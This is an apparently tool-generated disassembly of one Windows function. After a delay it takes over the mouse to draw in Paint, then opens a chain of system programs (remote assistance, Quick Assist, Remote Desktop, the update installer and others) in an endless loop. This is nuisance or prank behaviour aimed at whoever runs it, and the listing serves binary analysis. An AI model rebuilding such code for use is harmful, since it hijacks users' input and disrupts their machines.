Function at 0x140003680
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov ecx, 0x927c0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, str.C:WindowsSystem32mspaint.exe
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x38], 0
jmp 0x1400036eb
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 5
jae 0x1400038e2
mov edx, 0x3c
mov ecx, 0x1a5
call qword [sym.imp.USER32.dll_SetCursorPos]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 2
call qword [sym.imp.USER32.dll_mouse_event]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 4
call qword [sym.imp.USER32.dll_mouse_event]
imul rax, qword [rsp + 0x38], 0x12c
add rax, 0x115
mov edx, 0x24c
mov ecx, eax
call qword [sym.imp.USER32.dll_SetCursorPos]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 2
call qword [sym.imp.USER32.dll_mouse_event]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x64
mov edx, 0x64
mov ecx, 1
call qword [sym.imp.USER32.dll_mouse_event]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 4
call qword [sym.imp.USER32.dll_mouse_event]
imul rax, qword [rsp + 0x38], 0x12c
add rax, 0x18b
mov edx, 0x24d
mov ecx, eax
call qword [sym.imp.USER32.dll_SetCursorPos]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 2
call qword [sym.imp.USER32.dll_mouse_event]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x64
mov edx, 0x64
mov ecx, 1
call qword [sym.imp.USER32.dll_mouse_event]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 4
call qword [sym.imp.USER32.dll_mouse_event]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
imul rax, qword [rsp + 0x38], 0x12c
add rax, 0x15a
mov edx, 0x268
mov ecx, eax
call qword [sym.imp.USER32.dll_SetCursorPos]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 2
call qword [sym.imp.USER32.dll_mouse_event]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
imul rax, qword [rsp + 0x38], 0x12c
add rax, 0x1af
mov edx, 0x134
mov ecx, eax
call qword [sym.imp.USER32.dll_SetCursorPos]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 4
call qword [sym.imp.USER32.dll_mouse_event]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400036de
lea rax, str.C:WindowsSystem32Dialer.exe
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.C:WindowsSystem32msra.exe
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.C:WindowsSystem32mstsc.exe
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.C:WindowsSystem32Mystify.scr
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.C:WindowsSystem32Narrator.exe
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.C:WindowsSystem32perfmon.msc
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.C:WindowsSystem32quickassist.exe
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.C:WindowsSystem32wusa.exe
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140003689